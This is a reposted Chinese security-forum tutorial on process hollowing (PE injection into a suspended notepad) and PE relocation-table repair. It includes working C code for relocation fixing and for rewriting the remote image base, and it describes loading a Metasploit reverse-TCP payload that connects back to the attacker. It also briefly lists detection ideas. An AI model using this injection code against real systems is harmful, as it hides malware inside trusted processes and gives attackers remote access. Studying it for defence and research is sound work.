PE攻击之傀儡进程与重定位

admin 2025年4月6日23:26:43评论9 views字数 6695阅读22分19秒阅读模式

1

PE注入概念

PE注入目的是“偷天换日”,把“坏程序”映射到“好进程”的内存中,并最终执行“坏程序”的代码。我们把实现这个过程的工具叫做PE注入工具,它会模拟 Windows 映像加载程序的功能,实现exe内存加载和区段映射的效果,相当于自己就是exe loader。此外,还要结合进程注入,实现在A进程中加载B.exe后跳转到B进程入口点执行,这个过程会架空A进程,所以PE注入还有个学名叫做傀儡进程。

研究PE注入之前,先要了解exe image 加载后的内存布局情况,即是说PE文件要从磁盘加载到内存,它需要从文件偏移映射到对应的内存偏移, 比如.text段文件偏移0x400,映射到内存后偏移就是0x1000,绝对地址是0x401000,如下图所示 (图片引用-蛇矛实验室):
PE攻击之傀儡进程与重定位

要注意的是由于PE文件的section存在两种对齐方式,在内存中以4096字节对齐,16进制为0x1000,即是1个页的大小,而在文件中以512字节对齐,16进制为0x200,。正是因为两种情况下对齐字节数不同,导致从感官上看,PE的文件形态更加“紧凑”,内存形态更加“宽松”存在裂缝。比如说,首先PE头是0x400字节,不管是文件中还是内存中都是从0-0x400,但是从.text段开始就存在差异了,由于文件对齐大小是0x200,所以.text的文件偏移是0x400,然而内存对齐大小是0x1000,所以.text的内存偏移是0x1000,从0x400-0x1000这段未被占用的空间用x0填充。

随着section数量不断增多,文件偏移和内存偏移的差距会越来越大,出现上图偏差现象。

2

PE攻击思路

模拟加载的过程大概可以分为以下几步:

◆创建傀儡进程如notepad,并挂起进程

◆NtUnmapViewOfSection清空 notepad 进程数据(前提是notepad的基地址==恶意PE基地址)

◆notepad中申请恶意PE基地址对应的内存(如果申请失败,还需要修复重定位表)

◆远程拷贝恶意PE所有头部和所有节表数据到内存

◆修改notepad进程入口点为恶意PE的入口地址,然后恢复傀儡进程执行

2.1 攻击步骤

首先,需要把恶意PE当做文件读取进来。

第2步,使用OpenProcess方式拉起notepad并设置挂起状态。

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

第3步,修改notepad的基地址,如果基地址占用,使用UnmapViewOfSection先做清理。

PE攻击之傀儡进程与重定位

第4步,申请ImageBase表示的内存,填写头部字段,其中头部字段包括dos、nt、section的所有头数据。如果这个地址申请失败,申请到了其他位置,那么还需要修复重定位表。

PE攻击之傀儡进程与重定位

第5步,拷贝各个section的数据,其中section的结构图和拷贝代码分别如下:

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

最后,修改EIP并恢复执行,核心代码如下:

PE攻击之傀儡进程与重定位

2.2 测试过程

(1)运行注入工具,该工具执行成功后会拉起notepad,然后替换成calc。

PE攻击之傀儡进程与重定位

(2)用Process Hacker观察进程列表,会发现noteapd进程,且存在0x410000 的块。

PE攻击之傀儡进程与重定位

3

PE防御思路

◆告警 setThreadContext调用,记录操作进程信息。

◆内存扫描,对比PE文件的磁盘文件和内存dump是否有区别。

4

重定位

4.1 基本概念

大家应该知道1个进程要被执行,需要操作系统完成从磁盘加载到内存的过程,如果这个过程中PE加载基地址发生变化,导致跟PE文件编译产生的预设值不同,就会导致很多节段中的绝对地址要重新修复,比如代码段中的 直接索引地址,或者数据段中的 全局变量地址等。通常只要系统开启了aslr 机制就会导致PE文件被加载到内存后发生地址随机化,这个机制是1个重要的安全保护机制。重定位的地址放在重定位表里面维护的,这个表可以通过 NTHeader->OptionalHeader→DataDirArray[5] 索引,它里面有真正的重定位表的RVA和size,后面的技术原理也是从这个结构出发。

4.2 技术原理

该部分探究如何获取重定位表内容,以及从代码和数据层面了解重定位表项代表的含义是什么。

4.2.1 PE结构

首先,我们熟悉下PE文件格式,从主要结构上讲PE包括Dos头、DosStub、NT头、Section头、Section各个区段数据。通过010editor随便加载一个exe文件都能看到这些结构化的数据,下面展示加载1个demo程序。

PE攻击之傀儡进程与重定位

其中Dos头最为人熟知的就是MZ魔术字(0x5A4D),也就是PE文件的前两个字节,还有其他兼容Dos系统的启动信息数据,还有1个字段叫做 e_lfanew,它是这个结构体中最后1个字段,表示NT头的文件偏移。

其次是DosStub,这个结构是它是一段可执行代码,主要用于在DOS环境下运行时提供兼容性支持,windows环境下加载器直接跳过这个结构。

再接着是NT头,它包含PE标识符、文件头和可选头,用于描述PE文件的基本信息、加载和执行细节,以及提供数据目录的入口点。它是操作系统和加载器在加载和执行 PE 文件时用于解析和理解文件内容与结构的关键依据。其中,文件头的结构体是IMAGE_FILE_HEADER,可选头的结构体是IMAGE_OPTIONAL_HEADER32。我们先看下IMAGE_FILE_HEADER,结构体定义和实际案例如下图所示,主要包含区段数量(NumberOfSections)、文件创建时间(TimeDateStamp)、可选头大小(可选头结构的size)。定位重定位表最重要的字段是获取 可选头FOA。

PE攻击之傀儡进程与重定位

PE攻击之傀儡进程与重定位

然后再往后是可选头结构,它主要包含PE镜像加载基地址、程序入口点地址、镜像大小、以及数据目录结构。这里的PE镜像加载基地址是重要参数,因为它决定了加载器从内存中哪个位置开始加载 PE文件,比如vs设置的默认值为 0x400000h,这也是傀儡进程技术实现中要用到的1个重要参数。

现在到了数据目录了,下图展示了demo程序的数据目录内容,它是PE文件可选头中的一个数组,每个条目包含RVA和大小,指向PE文件中的特定数据段(如导入表、导出表、重定位表等),用于支持程序的加载和运行。

PE攻击之傀儡进程与重定位

这里只研究重定位表内容,其他表暂不深究,下图是示例截图。其中 RVA是 0x20000h,FOA是0xC000h。

PE攻击之傀儡进程与重定位

这里要注意的是RVA和FOA的区别,RVA是Relative Virtual Address,表示的是加载到内存后相对镜像基地址的偏移量。另外FOA是File Offset Address,表示的是相对PE文件的偏移量。

那如果知道了RVA,怎么获取到它的FOA呢?这里就需要另外1个重要的结构体了(区段头),它包含了区段的文件偏移和内存偏移,以及文件大小。下面是区段头数组和区段头内容的示例:

PE攻击之傀儡进程与重定位

再来看RVA是 0x20000h,先定位到它的区段头(条件:VirtualAddress==0x20000h),发现是区段头中的.reloc项,如下所示。

PE攻击之傀儡进程与重定位

从这里就能看出它的FOA是0xC000h(PointerToRawData字段),然后直接跳转到这个地址去看看,它是base_relocation_table结构,然后随机找到其中1项查看其内容,比如第1项的值如下图所示:

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

这里先计算出重定位项的虚拟偏移地址:11000(h) + 2479(o) = 119AF(h),用IDA定位到这个地址查看内容以及需要重定位的地址。

4.2.2 重定位项内容

重定位项包含了代码段中的跳转地址,也包含data段中的全局变量地址,这里随机抽取3个重定位项进行观察。

第一个,上面提到的119AF(h),用IDA定位到0x40000+0x119AF=0x4119AF地址处。

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

这个项就说明GS cookie地址,值为0x41b000。

第二个,rdata中的某个函数指针,值为0x412c10,如下图所示:

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

第三个,data段中的某个运行时类的虚表指针,值为0x419c98,定位到改虚表查看是2个指针,第1个是type_info数据,还有个null指针。如下图所示:

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

4.3 使用案例

4.3.1 示例代码

进程注入里面的傀儡进程就可能使用到PE重定位的技术,这里通过列举重定位的代码进行技术原理讲解,顺便把上面的知识点再次加深一下。如果傀儡进程申请不到原始的PE Image BaseAddress,那就只能转移到其他地址就行加载,这个时候就需要进行符号重定位了,这个步骤的目的是修改PE文件中的重定位项的值,使得它里面的地址跟实际的内存加载地址一致,从而避免访问地址错误的情况发生。

核心代码的实现如下:

void fixRelocTable(DWORD pFileBufferSrc, DWORD AOffset) {
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pFileBufferSrc;
PIMAGE_FILE_HEADER pIFH = (PIMAGE_FILE_HEADER)(pFileBufferSrc + pIDH->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)(pFileBufferSrc + pIDH->e_lfanew + 0x18);
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pFileBufferSrc + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
DWORD pRelocationDirectoryVirtual = NULL;
PIMAGE_BASE_RELOCATION pRelocationDirectory = NULL;
IMAGE_DATA_DIRECTORY* dataDirectories = NULL;
DWORD FOA, NumberOfRelocation;
PWORD Location;
DWORD RVA_Data;
WORD reloData;

dataDirectories = pIOH->DataDirectory;
pRelocationDirectoryVirtual = (DWORD) dataDirectories[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (pRelocationDirectoryVirtual) {
RVA_To_FOA(pFileBufferSrc, pRelocationDirectoryVirtual, &FOA);
pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pFileBufferSrc + FOA);

while (pRelocationDirectory->SizeOfBlock && pRelocationDirectory->VirtualAddress) {
NumberOfRelocation = (pRelocationDirectory->SizeOfBlock - 8) / 2;// 每个重定位块中的数据项的数量
Location = (PWORD)((DWORD)pRelocationDirectory + 8); // 加上8个字节
for (DWORD i = 0; i < NumberOfRelocation; i++) {
if (Location[i] >> 12 != 0) { //判断是否是垃圾数据
// WORD类型的变量进行接收
reloData = (Location[i] & 0xFFF); //这里进行与操作 只取4字节 二进制的后12位
RVA_Data = pRelocationDirectory->VirtualAddress + reloData; //这个是RVA的地址
RVA_To_FOA(pFileBufferSrc, RVA_Data, &FOA);
//修复步骤的核心操作,这里镜像加载时偏移了 AOffset 字节,所以重定项的地址也要偏移这么多
*(PDWORD)((DWORD)pFileBufferSrc + (DWORD)FOA) = *(PDWORD)((DWORD)pFileBufferSrc + (DWORD)FOA) + AOffset;
}
}
pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + (DWORD)pRelocationDirectory->SizeOfBlock); //上面的for循环完成之后,跳转到下个重定位块 继续如上的操作
}
}
}

主要流程是:

◆从PE mapping内存开始定位到重定位表

◆遍历重定位表中内容,依次获取每个重定位项的文件偏移

◆根据文件偏移定位到它在文件中的地址,获取原始值再加上 (PE镜像的实际加载偏移),然后将和值写回去。

经过上面步骤的调整后,新的PE文件内容就符合其真实的加载地址了,保证了文件和内存中的地址的一致性,就不会出现访问地址错误的情况。

当然,除了这些常规动作外,还要修改下进程和PE文件的image base(!!!一定要修改,漏掉任一都会直接报错!!!),修改方法如下:

// 在傀儡进程中申请内存,默认申请基地址==PE头中的预设值
if (!(pRealProcImage = (LPBYTE)VirtualAllocEx(
ppi->hProcess,
(LPVOID)(pDesireImgBase),
pOptHead->SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE)))
{
printf("VirtualAllocEx() failed!!! [%d]n", GetLastError());
return FALSE;
}
else
{
// 保存分配结果
glo_desireImageBase = (LPBYTE)(pOptHead->ImageBase);
glo_realImageBase = pRealProcImage;

// 修改进程的基地址(!!!只要分配的内存跟预设值不同就必须执行这步!!!)
if (!WriteProcessMemory(
ppi->hProcess,
(LPVOID)(ctx.Ebx + 8),
(LPVOID)&pRealProcImage,
sizeof(DWORD),
NULL)) {
printf("WriteProcessMemory() failed to update the image base address [%d]n", GetLastError());
return FALSE;
}

//修改PE文件的image base
pOptHead->ImageBase = (DWORD)pRealProcImage; // 修改PE文件的基地址
printf("WriteProcessMemory() successfully modified image base address.n");
}

// 如果实际加载的基地址跟预设的基地址不相同,那么还需要修复调整重定位表
if (glo_desireImageBase && glo_realImageBase && glo_desireImageBase != glo_realImageBase) {
fixRelocTable((unsigned long)pRealFileBuf, glo_realImageBase - glo_desireImageBase);
}

// 模拟加载器load all heads:DOS头+NT头+节表头(0x400)
if (!WriteProcessMemory(
ppi->hProcess,
pRealProcImage,
pRealFileBuf,
pOptHead->SizeOfHeaders,
NULL)) {
printf("WriteProcessMemory() failed to update the headers [%d]n", GetLastError());
return FALSE;
}

4.3.2 执行效果

示例代码实现了注入工具,它会拉起傀儡进程notepad,然后读取恶意PE(msf_reverse_tcp.exe),替换notepad原有的代码和数据,执行后自动连接上 msf。

PE攻击之傀儡进程与重定位
PE攻击之傀儡进程与重定位

PE攻击之傀儡进程与重定位

看雪ID:mb_zelrqyxa

https://bbs.kanxue.com/user-home-1021816.htm

*本文为看雪论坛优秀文章,由 mb_zelrqyxa 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):PE攻击之傀儡进程与重定位

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日23:26:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PE攻击之傀儡进程与重定位https://cn-sec.com/archives/3916943.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息